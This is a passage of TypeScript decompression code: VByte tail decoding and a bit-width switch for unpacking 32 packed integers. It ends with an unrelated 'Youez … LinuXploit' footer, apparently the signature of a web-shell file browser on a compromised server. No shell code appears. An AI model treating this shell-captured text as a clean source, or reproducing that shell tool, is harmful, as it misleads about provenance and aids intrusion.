alignedLength, decoderWorkspace);\n        outPos = (outPos + alignedLength) | 0;\n    }\n\n    const remainingLength = (encoded.length - inPos) | 0;\n    const expectedTail = (numValues - outPos) | 0;\n    decodeVByte(encoded, inPos, remainingLength, decoded, outPos, expectedTail);\n\n    return decoded;\n}\n\nfunction fastUnpack32(inValues: Uint32Array, inPos: number, out: Uint32Array, outPos: number, bitWidth: number): void {\n    switch (bitWidth) {\n        case 2:\n            fastUnpack32_2(inValues, inPos, out, outPos);\n            return;\n        case 3:\n            fastUnpack32_3(inValues, inPos, out, outPos);\n            return;\n        case 4:\n            fastUnpack32_4(inValues, inPos, out, outPos);\n            return;\n        case 5:\n            fastUnpack32_5(inValues, inPos, out, outPos);\n            return;\n        case 6:\n            fastUnpack32_6(inValues, inPos, out, outPos);\n            return;\n        case 7:\n            fastUnpack32_7(inValues, inPos, out, outPos);\n            return;\n        case 8:\n            fastUnpack32_8(inValues, inPos, out, outPos);\n            return;\n        case 9:\n            fastUnpack32_9(inValues, inPos, out, outPos);\n            return;\n        case 10:\n            fastUnpack32_10(inValues, inPos, out, outPos);\n            return;\n        case 11:\n            fastUnpack32_11(inValues, inPos, out, outPos);\n            return;\n        case 12:\n            fastUnpack32_12(inValues, inPos, out, outPos);\n            return;\n        case 16:\n            fastUnpack32_16(inValues, inPos, out, outPos);\n            return;\n        case 32:\n            for (let i = 0; i < 32; i = (i + 1) | 0) {\n                out[(outPos + i) | 0] = inValues[(inPos + i) | 0] | 0;\n            }\n            return;\n        default:\n            break;\n    }\n\n    const valueMask = MASKS[bitWidth] >>> 0;\n    let inputWordIndex = inPos;\n    let bitOffset = 0;\n    let currentWord = inValues[inputWordIndex] >>> 0;\n\n    for (let i = 0; i < 32; i++) {\n        if (bitOffset + bitWidth <= 32) {\n            const value = (currentWord >>> bitOffset) & valueMask;\n            out[outPos + i] = value | 0;\n            bitOffset += bitWidth;\n\n            if (bitOffset === 32) {\n                bitOffset = 0;\n                inputWordIndex++;\n                if (i !== 31) currentWord = inValues[inputWordIndex] >>> 0;\n            }\n        } else {\n            const lowBits = 32 - bitOffset;\n            const low = currentWord >>> bitOffset;\n\n            inputWordIndex++;\n            currentWord = inValues[inputWordIndex] >>> 0;\n            const highMask = MASKS[bitWidth - lowBits] >>> 0;\n            const high = currentWord & highMask;\n\n            const value = (low | (high << lowBits)) & valueMask;\n            out[outPos + i] = value | 0;\n            bitOffset = bitWidth - lowBits;\n        }\n    }\n}\n"]}

Youez - 2016 - github.com/yon3zu
LinuXploit